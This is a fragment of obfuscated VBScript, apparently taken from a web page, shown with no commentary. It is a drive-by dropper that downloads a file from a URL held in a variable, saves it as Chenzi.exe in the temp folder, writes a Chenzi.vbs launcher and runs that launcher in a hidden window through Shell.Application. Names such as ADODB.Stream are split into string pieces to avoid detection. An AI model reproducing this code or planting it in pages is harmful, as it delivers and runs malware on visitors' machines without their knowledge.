Set Zi = document.createElement(QianJuFanchen) Zi.SetAttribute QianFanchenZi, QianJuchenZi Happy=QianJuZi Set ZhongHua = Zi.CreateObject(Happy,"") ZhongHua.Open "GE"&"T", FanChenZi, False ZhongHua.Send ChenziUser="C"&"he"&"n"&"zi.exe" QianjuUser="C"&"he"&"n"&"zi.vbs" Set HUA = Zi.createobject(QiZi,"") Set Wuer = HUA.GetSpecialFolder(2) ChenziUser=HUA.BuildPath(Wuer,ChenziUser) QianjuUser=HUA.BuildPath(Wuer,QianjuUser) Zhong="A"&"d" Hua="o"&"d" Wang="b"&"."&"s"&"t" luo="r"&"e"&"a"&"m" ZhongHuaWangLuo=Zhong&Hua&Wang&luo Set Chenzi = Zi.createobject(ZhongHuaWangLuo,"") Chenzi.type=1 Chenzi.Open Chenzi.Write ZhongHua.ResponseBody Chenzi.Savetofile ChenziUser,2 Chenzi.Close Chenzi.Type=2 Chenzi.Open Chenzi.WriteText "Set Shell = CreateObject(""Wscript.Shell"")"&vbCrLf&"Shell.Run ("""&ChenziUser&""")"&vbCrLf&"Set Shell = Nothing" Chenzi.Savetofile QianjuUser,2 Chenzi.Close Xin="S"&"h"&"e" Nian="l"&"l"&"." Kuai="A"&"p"&"p" Le="l"&"i" QianJuZhuDaJiaXinNianKuaiLe=Xin&Nian&Kuai&Le XinNianKuaiLe=QianJuZhuDaJiaXinNianKuaiLe Set Zhong = Zi.createobject(XinNianKuaiLe&"cation","") Zhong.ShellExecute QianjuUser,"","","Open",0